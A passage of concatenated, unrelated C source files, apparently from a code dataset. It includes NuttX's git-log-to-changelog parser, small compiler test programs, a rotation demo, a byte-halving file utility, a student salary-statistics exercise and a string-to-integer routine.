printf ("%d\t", a[i]);
}
printf ("\n");
return 0;
}
|
the_stack_data/151233.c | /****************************************************************************
* tools/logparser.c
*
* Copyright (C) 2018 Gregory Nutt. All rights reserved.
* Author: Gregory Nutt <[email protected]>
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
*
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in
* the documentation and/or other materials provided with the
* distribution.
* 3. Neither the name NuttX nor the names of its contributors may be
* used to endorse or promote products derived from this software
* without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
* FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
* COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
* BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS
* OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED
* AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN
* ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
* POSSIBILITY OF SUCH DAMAGE.
*
****************************************************************************/
/****************************************************************************
* Included Files
****************************************************************************/
#define _GNU_SOURCE 1
#include <stdbool.h>
#include <stdlib.h>
#include <limits.h>
#include <stdio.h>
#include <string.h>
#include <ctype.h>
#include <errno.h>
/****************************************************************************
* Pre-processor Definitions
****************************************************************************/
#define LINESIZE (PATH_MAX > 4096 ? PATH_MAX : 4096)
/****************************************************************************
* Private Types
****************************************************************************/
enum parse_state_e
{
STATE_IDLE = 0, /* Finished last, ready to start next */
STATE_HEADER, /* Started next, parsing header */
STATE_ENDHEADER, /* Finished the header looking for the start of the body */
STATE_BODY, /* Parsing the body */
};
/****************************************************************************
* Private Data
****************************************************************************/
static char g_line[LINESIZE+1];
static unsigned long g_lineno;
/****************************************************************************
* Private Functions
****************************************************************************/
/* Skip over any spaces */
static char *skip_space(char *ptr)
{
while (*ptr && isspace((int)*ptr)) ptr++;
return ptr;
}
/* Find the end of a variable string */
static void trim_end(char *startptr, char *endptr)
{
while (endptr != startptr && isspace((int)*endptr))
{
*endptr = '\0';
endptr--;
}
}
/* check for a blank line */
static bool blank_line(void)
{
char *ptr = g_line;
while (*ptr != '\0')
{
if (!isspace((int)*ptr))
{
return false;
}
ptr++;
}
return true;
}
/* Convert git log date string */
static char *parse_date(char *ptr)
{
char *next;
char *endptr;
char *alloc;
unsigned int mon;
unsigned long date;
unsigned long year;
/* Form: DOW MON DD HH:MM:SS YYYY GMT
* Eg. Mon Jan 29 07:17:17 2018 -0600
*/
/* Skip the day of the week */
next = strchr(ptr, ' ');
if (next == NULL)
{
fprintf(stderr, "ERROR line %ld: Did not find day of the week\n", g_lineno);
exit(EXIT_FAILURE);
}
ptr = skip_space(next);
/* Get the month */
next = strchr(ptr, ' ');
if (next == NULL)
{
fprintf(stderr, "ERROR line %ld: Did not find month\n", g_lineno);
exit(EXIT_FAILURE);
}
endptr = next;
next = skip_space(next);
trim_end(ptr, endptr);
if (strncmp(ptr, "Jan", 3) == 0)
{
mon = 1;
}
else if (strncmp(ptr, "Feb", 3) == 0)
{
mon = 2;
}
else if (strncmp(ptr, "Mar", 3) == 0)
{
mon = 3;
}
else if (strncmp(ptr, "Apr", 3) == 0)
{
mon = 4;
}
else if (strncmp(ptr, "May", 3) == 0)
{
mon = 5;
}
else if (strncmp(ptr, "Jun", 3) == 0)
{
mon = 6;
}
else if (strncmp(ptr, "Jul", 3) == 0)
{
mon = 7;
}
else if (strncmp(ptr, "Aug", 3) == 0)
{
mon = 8;
}
else if (strncmp(ptr, "Sep", 3) == 0)
{
mon = 9;
}
else if (strncmp(ptr, "Oct", 3) == 0)
{
mon = 10;
}
else if (strncmp(ptr, "Nov", 3) == 0)
{
mon = 11;
}
else if (strncmp(ptr, "Dec", 3) == 0)
{
mon = 12;
}
else
{
fprintf(stderr, "ERROR line %ld: Unrecognized month %s\n", g_lineno, ptr);
exit(EXIT_FAILURE);
}
/* Get the day of the month */
ptr = next;
next = strchr(ptr, ' ');
if (next == NULL)
{
fprintf(stderr, "ERROR line %ld: Did not find day of the month\n", g_lineno);
exit(EXIT_FAILURE);
}
endptr = next;
next = skip_space(next);
trim_end(ptr, endptr);
date = strtoul(ptr, &endptr, 10);
if (*endptr != '\0' || date > 31)
{
fprintf(stderr, "ERROR line %ld: Invalid date\n", g_lineno);
exit(EXIT_FAILURE);
}
/* Skip over the time */
ptr = next;
next = strchr(ptr, ' ');
if (next == NULL)
{
fprintf(stderr, "ERROR line %ld: Did not find day of the month\n", g_lineno);
exit(EXIT_FAILURE);
}
/* Get the year */
ptr = skip_space(next);
next = strchr(ptr, ' ');
if (next == NULL)
{
fprintf(stderr, "ERROR line %ld: Did not find year\n", g_lineno);
exit(EXIT_FAILURE);
}
trim_end(ptr, next);
year = strtoul(ptr, &endptr, 10);
if (*endptr != '\0' || year < 2007 || year >= 3000)
{
fprintf(stderr, "ERROR line %ld: Invalid year: %s\n", g_lineno, ptr);
exit(EXIT_FAILURE);
}
/* Then create the final date string */
asprintf(&alloc, "(%04lu-%02u-%02lu)", year, mon, date);
if (alloc == NULL)
{
fprintf(stderr, "ERROR line %ld: asprintf failed\n", g_lineno);
exit(EXIT_FAILURE);
}
return alloc;
}
/* Parse the entire file */
static void parse_file(FILE *stream)
{
enum parse_state_e state;
bool lastblank;
bool firstline;
bool consumed;
bool merge;
char *name;
char *date;
char *ptr;
/* Loop until the entire file has been parsed. */
g_lineno = 0;
state = STATE_IDLE;
name = NULL;
date = NULL;
consumed = true;
firstline = true;
merge = false;
for (; ; )
{
/* Read the next line from the file (unless it was not consumed on the
* previous pass through the loop.
*/
if (consumed)
{
g_line[LINESIZE] = '\0';
if (!fgets(g_line, LINESIZE, stream))
{
/* Check if the body was terminated with the end of file */
if (state == STATE_BODY)
{
/* End of body. Add author, date, and final newline */
printf(" From %s %s.\n", name, date);
free(name);
free(date);
}
else if (state != STATE_IDLE)
{
fprintf(stderr, "ERROR line %ld: Unexpected EOF in state %d\n",
g_lineno, state);
exit(EXIT_FAILURE);
}
return;
}
g_lineno++;
consumed = false;
}
ptr = g_line;
/* Process the line depending upon the state of the parser */
switch (state)
{
case STATE_IDLE: /* Finished last, ready to start next */
if (blank_line())
{
consumed = true;
break;
}
if (isspace(g_line[0]))
{
fprintf(stderr, "ERROR line %lu: Unexpected whitespace in state %d\n",
g_lineno, state);
exit(EXIT_FAILURE);
}
/* Change state and fall through */
state = STATE_HEADER;
case STATE_HEADER: /* Started next, parsing header */
if (!isspace(g_line[0]))
{
if (strncmp(g_line, "commit ", 7) == 0)
{
/* Skip commit line */
}
else if (strncmp(g_line, "Merge: ", 6) == 0)
{
/* Skip merges */
merge = true;
}
else if (strncmp(g_line, "Author: ", 8) == 0)
{
char *endptr;
/* Extract the name */
ptr += 7;
ptr = skip_space(ptr);
endptr = strchr(ptr, '<');
if (endptr == NULL)
{
fprintf(stderr, "ERROR line %lu: No email address after name, state %d\n",
g_lineno, state);
exit(EXIT_FAILURE);
}
if (name != NULL)
{
fprintf(stderr, "ERROR line %lu: Duplicate name, state %d\n",
g_lineno, state);
exit(EXIT_FAILURE);
}
/* Copy and save the name string */
trim_end(ptr, endptr - 1);
name = strdup(ptr);
if (name == NULL)
{
fprintf(stderr, "ERROR line %lu: Failed to duplicate name, state %d\n",
g_lineno, state);
exit(EXIT_FAILURE);
}
}
else if (strncmp(g_line, "Date: ", 6) ==0)
{
if (date != NULL)
{
fprintf(stderr, "ERROR line %lu: Duplicate date, state %d\n",
g_lineno, state);
exit(EXIT_FAILURE);
}
/* Extract the date */
ptr += 6;
ptr = skip_space(ptr);
date = parse_date(ptr);
}
else
{
fprintf(stderr, "ERROR line %lu: Unrecognized header line in state %d\n",
g_lineno, state);
exit(EXIT_FAILURE);
}
consumed = true;
break;
}
/* Change state and fall through */
if (name == NULL || date == NULL)
{
fprintf(stderr, "ERROR line %lu: name or date not found in header. State %d\n",
g_lineno, state);
exit(EXIT_FAILURE);
}
state = STATE_ENDHEADER;
case STATE_ENDHEADER: /* Finished the header looking for the start of the body */
if (blank_line())
{
consumed = true;
break;
}
if (!isspace(g_line[0]))
{
fprintf(stderr, "ERROR line %lu: Unexpected in state %d\n",
g_lineno, state);
exit(EXIT_FAILURE);
}
/* Change state and fall through */
state = STATE_BODY;
lastblank = false;
case STATE_BODY: /* Parsing the body */
if (blank_line())
{
lastblank = true;
consumed = true;
break;
}
if (isspace(g_line[0]))
{
char *endptr;
char *tmp;
/* Remove the newline from the end */
ptr = skip_space(ptr);
endptr = &ptr[strlen(ptr) - 1];
trim_end(ptr, endptr);
/* Change leading "* " to "- " */
tmp = ptr;
if (ptr[0] == '*' && ptr[1] == ' ')
{
*ptr = '-';
tmp = ptr + 2;
}
/* Skip over certain crap body lines added by GIT; Skip over
* merge entries altogether.
*/
if (strncmp(tmp, "Merged in ", 10) != 0 &&
strncmp(tmp, "Approved-by: ", 13) != 0 &&
strncmp(tmp, "Signed-off-by: ", 15) != 0 &&
!merge)
{
/* Is this the first paragraph in the body? */
if (firstline)
{
printf("\t* %s", ptr);
}
else
{
/* This paragraph is not the first, was it separated
* from the previous paragraph by a blank line?
*/
if (lastblank)
{
putchar('\n');
}
printf("\n\t %s", ptr);
}
firstline = false;
lastblank = false;
}
consumed = true;
break;
}
/* End of body. Add author, date, and final newline */
if (!merge)
{
printf(" From %s %s.\n", name, date);
}
/* Revert to IDLE state */
free(name);
name = NULL;
free(date);
date = NULL;
state = STATE_IDLE;
firstline = true;
merge = false;
break;
default:
fprintf(stderr, "ERROR line %lu: Bad state %d\n", g_lineno, state);
exit(EXIT_FAILURE);
}
}
}
static void show_usage(const char *progname)
{
fprintf(stderr, "USAGE: %s <abs path to git log file>\n", progname);
exit(EXIT_FAILURE);
}
/****************************************************************************
* Public Functions
****************************************************************************/
int main(int argc, char **argv, char **envp)
{
FILE *stream;
if (argc != 2)
{
fprintf(stderr, "Unexpected number of arguments\n");
show_usage(argv[0]);
}
stream = fopen(argv[1], "r");
if (!stream)
{
fprintf(stderr, "open %s failed: %s\n", argv[1], strerror(errno));
return EXIT_FAILURE;
}
parse_file(stream);
fclose(stream);
return EXIT_SUCCESS;
}
|
the_stack_data/1685.c | //#include <assert.h>
int main()
{
int i;
if(i>0)
if(i<3)
assert(i>=1 || i<=2);
return 0;
}
|
the_stack_data/93887208.c | /*
* Copyright (c) 2017, 2018, Oracle and/or its affiliates.
*
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without modification, are
* permitted provided that the following conditions are met:
*
* 1. Redistributions of source code must retain the above copyright notice, this list of
* conditions and the following disclaimer.
*
* 2. Redistributions in binary form must reproduce the above copyright notice, this list of
* conditions and the following disclaimer in the documentation and/or other materials provided
* with the distribution.
*
* 3. Neither the name of the copyright holder nor the names of its contributors may be used to
* endorse or promote products derived from this software without specific prior written
* permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
* OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
* MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
* COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
* EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE
* GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED
* AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
* NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED
* OF THE POSSIBILITY OF SUCH DAMAGE.
*/
#include <stdlib.h>
int main() {
volatile char *arr = malloc(10 * sizeof(char));
arr[5] = 'a';
arr[4] = 'b';
return arr[5] + arr[4];
}
|
the_stack_data/211080398.c | int main() {
signed a; int b; int c; int d; int e; int f; int g; int h;
a = b = 10;
c = a;
d = b;
(e) = c;
((f)) = d;
g = 20;
// Force variables to be on stack
int i; int j; char k;
&i; &j;
i = g;
j = i;
j = k;
if(a != 10) return 1;
if(b != 10) return 2;
if(c != 10) return 3;
if(d != 10) return 4;
if(e != 10) return 5;
if(f != 10) return 6;
if(g != 20) return 7;
}
|
the_stack_data/60200.c | char findTheDifference(char * s, char * t){
int cnt[26];
memset(cnt, 0, sizeof(cnt));
char *c = s;
while (*c != '\0') {
++cnt[*c-'a'];
c++;
}
c = t;
while (*c != '\0') {
--cnt[*c-'a'];
if (cnt[*c-'a']<0) return *c;
c++;
}
return ' ';
}
|
the_stack_data/1159964.c | //
// main.c
// 2-KthMove
//
// Created by FlyElephant on 2017/11/23.
// Copyright © 2017年 FlyElephant. All rights reserved.
//
#include <stdio.h>
void swap(int *a, int *b) {
int tmp = *a;
*a = *b;
*b = tmp;
}
void reverse(int *a, int b, int e) {
while (b < e) {
swap(&a[b], &a[e]);
b++;
e--;
}
}
void show(int *a, int len) {
for (int i = 0; i < len; i++) {
printf("%d\t",a[i]);
}
printf("\n");
}
int main(int argc, const char * argv[]) {
// insert code here...
int n = 7;
int k = 2 % n;
int a[7] = {1,2,3,4,5,6,7};
reverse(a, 0, n - 1);
reverse(a, 0, k - 1);
reverse(a, k, n - 1);
show(a, n);
return 0;
}
|
the_stack_data/187642061.c | //
// Created by andgel on 13/02/2020
//
#include <sys/stat.h>
#include <stdio.h>
#include <stdlib.h>
#include <stdbool.h>
#include <unistd.h>
bool compress(char *path)
{
struct stat s;
FILE *stream = fopen(path, "rb");
char *buffer;
if (stat(path, &s) == -1 || !stream)
return perror(path), false;
if (s.st_size % 2 == 1)
return fprintf(stderr, "%s: %s\n", path, "File size mush be even"), fclose(stream), false;
buffer = malloc(s.st_size);
fread(buffer, 1, s.st_size, stream);
fclose(stream);
for (int i = 0; i < s.st_size / 2; i++)
buffer[i] = buffer[i * 2];
stream = fopen(path, "wb");
if (!stream)
return perror(path), free(buffer), false;
fwrite(buffer, 1, s.st_size / 2, stream);
fclose(stream);
free(buffer);
return true;
}
int main(int argc, char **argv)
{
for (int i = 1; i < argc; i++)
if (!compress(argv[i]))
return EXIT_FAILURE;
return EXIT_SUCCESS;
} |
the_stack_data/47546.c | #include <stdio.h>
#include <stdlib.h>
int main() {
char * str = getenv("USER_NAME");
if(str != NULL) printf("Hello %s!\n", str);
} |
the_stack_data/168894088.c | /*
QUESTÃO 04: A prefeitura de uma cidade fez uma pesquisa com 300 de seus habitantes, coletando dados sobre o salário e número de filhos.
A prefeitura deseja saber:
a) média do salário da população;
b) média do número de filhos;
c) maior salário;
d) percentual de pessoas com salário até R$ 1.000,00.
*/
#include <stdio.h>
#include <stdlib.h>
int main()
{
int i,numeroDeFilhos,mediaFilhos = 0,salarioAteMil = 0;
float salario,maiorSalario = 0, mediaSalario = 0;
for (i = 0; i < 300; i++)
{
printf("digite seu salario: R$");
scanf(" %f", &salario);
printf("\nnumero de filhos: ");
scanf(" %d", &numeroDeFilhos);
mediaSalario += salario;
mediaFilhos += numeroDeFilhos;
if(salario > maiorSalario)
{
maiorSalario = salario;
}
if(salario > 1000)
{
salarioAteMil++;
}
}
mediaSalario/=300;
mediaFilhos/=300;
//media salario: (salarioAteMil/300)*100
// a) média do salário da população;
printf("\nMedia do salario da populacao: R$%.2f", mediaSalario);
// b) média do número de filhos;
printf("\nMedia do numero de filhos: %d", numeroDeFilhos);
// c) maior salário;
printf("\nMaior salario: R$%.2f", maiorSalario);
// d) percentual de pessoas com salário até R$ 1.000,00.
printf("\nPercentual de pessoas com salario ate R$ 1000.00: %d%%", ((salarioAteMil/300)*100));
} |
the_stack_data/122014744.c | /*
** my_getnbr.c for my_getnbr in /home/arbona/CPool/CPool_Day04
**
** Made by Thomas Arbona
** Login <[email protected]>
**
** Started on Thu Oct 6 15:54:40 2016 Thomas Arbona
** Last update Thu Oct 13 18:25:43 2016 Thomas Arbona
*/
static int is_max(char *str, int iterator)
{
char *max;
int iterator2;
max = "2147483648";
iterator2 = 0;
while (iterator2 <= 9)
{
if (str[iterator + iterator2] != max[iterator2])
return (0);
iterator2 += 1;
}
return (1);
}
static int get_sign(char *str, int *iterator, int *is_neg)
{
while (!('0' <= str[*iterator] && str[*iterator] <= '9'))
{
if (str[*iterator] != '+' && str[*iterator] != '-')
return (0);
if (str[*iterator] == '-')
{
if (*is_neg == 0)
*is_neg = 1;
else
*is_neg = 0;
}
*iterator += 1;
}
return (0);
}
int my_getnbr(char *str)
{
int iterator;
int nbr;
int is_neg;
is_neg = 0;
iterator = 0;
nbr = 0;
get_sign(str, &iterator, &is_neg);
if (is_max(str, iterator))
return (-2147483648);
while ('0' <= str[iterator] && str[iterator] <= '9')
{
nbr = nbr * 10 + str[iterator] - 48;
if (nbr < 0)
return (0);
iterator += 1;
}
if (is_neg)
nbr *= -1;
return (nbr);
}
|
Subsets and Splits